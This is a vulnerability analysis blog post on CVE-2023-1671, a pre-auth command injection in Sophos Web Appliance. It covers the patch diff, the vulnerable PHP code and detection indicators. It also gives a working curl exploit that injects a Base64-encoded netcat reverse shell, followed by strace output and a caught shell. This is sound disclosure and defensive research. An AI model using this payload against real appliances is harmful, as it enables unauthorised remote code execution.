April 21, 2023
Analysis of Pre-Auth RCE in Sophos Web Appliance (CVE-2023-1671)
================================================================
William Vu[@wvuuuuuuuuuuuuu](https://twitter.com/wvuuuuuuuuuuuuu)
On April 4, 2023, Sophos published a security advisory[1](https://vulncheck.com/blog/cve-2023-1671-analysis#user-content-fn-1) for their Web Appliance product. The advisory includes information on [CVE-2023-1671](https://nvd.nist.gov/vuln/detail/CVE-2023-1671), a critical vulnerability in versions prior to [4.3.10.4](https://wsa.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_4.3.10.4.html):
> A pre-auth command injection vulnerability in the warn-proceed handler allowing execution of arbitrary code was discovered and responsibly disclosed to Sophos by an external security researcher via the Sophos bug bounty program.
Given the [initial access](https://vulncheck.com/product/initial-access-intelligence) nature of the vulnerability, VulnCheck decided to investigate.
BLUF: Mass Exploitation Unlikely
================================
The notes in the advisory detail the caveats quite well:
> * End of Life date for Sophos Web Appliance is on July 20, 2023
> * Sophos recommends that Sophos Web Appliance is protected by a firewall and not accessible via the public Internet
> * There is no action required for Sophos Web Appliance customers, as updates are installed automatically by default
Consequently, exploitation at scale is highly unlikely.
Analyzing the Patch
===================
`/opt/ws/bin/ftsblistpack` is a Perl script that shells out to `/opt/ws/bin/sblistpack`, which is another Perl script. The patch changes the [`system`](https://perldoc.perl.org/functions/system) function's invocation such that the shell is no longer invoked:
--- unpatched/opt/ws/bin/ftsblistpack 2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
close($flag);
- $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+ $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
}
exit $rc;
Note the single-quoted arguments to the shell command in the unpatched code. This will be important later. Tracing from sink to source, we can see that `/opt/ui/apache/htdocs/controllers/UsrBlocked.php` shells out to `ftsblistpack` with user-supplied parameters:
if($_GET['action'] == 'continue') {
if(strlen(trim($_POST['user'])) > 0)
$user = base64_decode($_POST['user_encoded']);
else
$user = $_POST['client-ip'];
if($user == '-') $user = $_POST['client-ip'];
$user = escapeshellarg($user);
//snip
// use sblistpack to allow access
if($_POST['args_reason'] == 'filetypewarn') {
$key = $_POST['url'];
$packer = '/opt/ws/bin/ftsblistpack';
$value = $_POST['filetype'];
}
else {
$key = $_POST['domain'];
$packer = '/opt/ws/bin/sblistpack';
$catParts = explode("|",$_POST['raw_category_id']);
$value = $catParts[0];
}
$key = escapeshellarg($key);
$value = escapeshellarg($value);
$this->log->write("DEBUG","cmd = '$packer $key $user $value'");
$result = shell_exec("$packer $key $user $value 2>&1");
Note that user-controlled input is still processed through PHP's [`escapeshellarg`](https://www.php.net/manual/en/function.escapeshellarg.php) function, which will escape _and add_ single quotes to a shell argument. You may be able to see where this is going.
Developing an RCE PoC
=====================
Exploitation is relatively straightforward. `UsrBlocked.php` is routed through `/index.php?c=blocked`, and the required `GET` and `POST` parameters are supplied thereafter. Since the `user_encoded` parameter is Base64-encoded, it's perfect for our command injection. No escaping or other encoding is necessary! The full `curl` command to RCE is demonstrated below:
wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
How _exactly_ the command injection works is perhaps best illustrated by the following `strace` output:
[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0
When `';nc -e /bin/sh 192.168.56.1 4444 #` is injected into `ftsblistpack`, the input is wrapped in single quotes, resulting in the "sanitized" input `'';nc -e /bin/sh 192.168.56.1 4444 #'`, which will close the opening quote, execute a `netcat` reverse shell, and comment out the rest of the command line. If you had a listener set up, you'd catch the shell:
wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$
_Insert Spider-Man Pointing meme._
Hunting for IOCs
================
A single line is appended to the `/log/ui_access_log` file once the HTTP request returns a response:
192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"
It isn't much, but it's something to look for when hunting for exploitation. Note that writing the log entry may block on command execution. Additionally, the previous `strace` output can be used for process detections.
References
==========
[Footnotes](https://vulncheck.com/blog/cve-2023-1671-analysis#footnote-label)
-----------------------------------------------------------------------------
1. [https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce](https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce) [↩](https://vulncheck.com/blog/cve-2023-1671-analysis#user-content-fnref-1)
暂无评论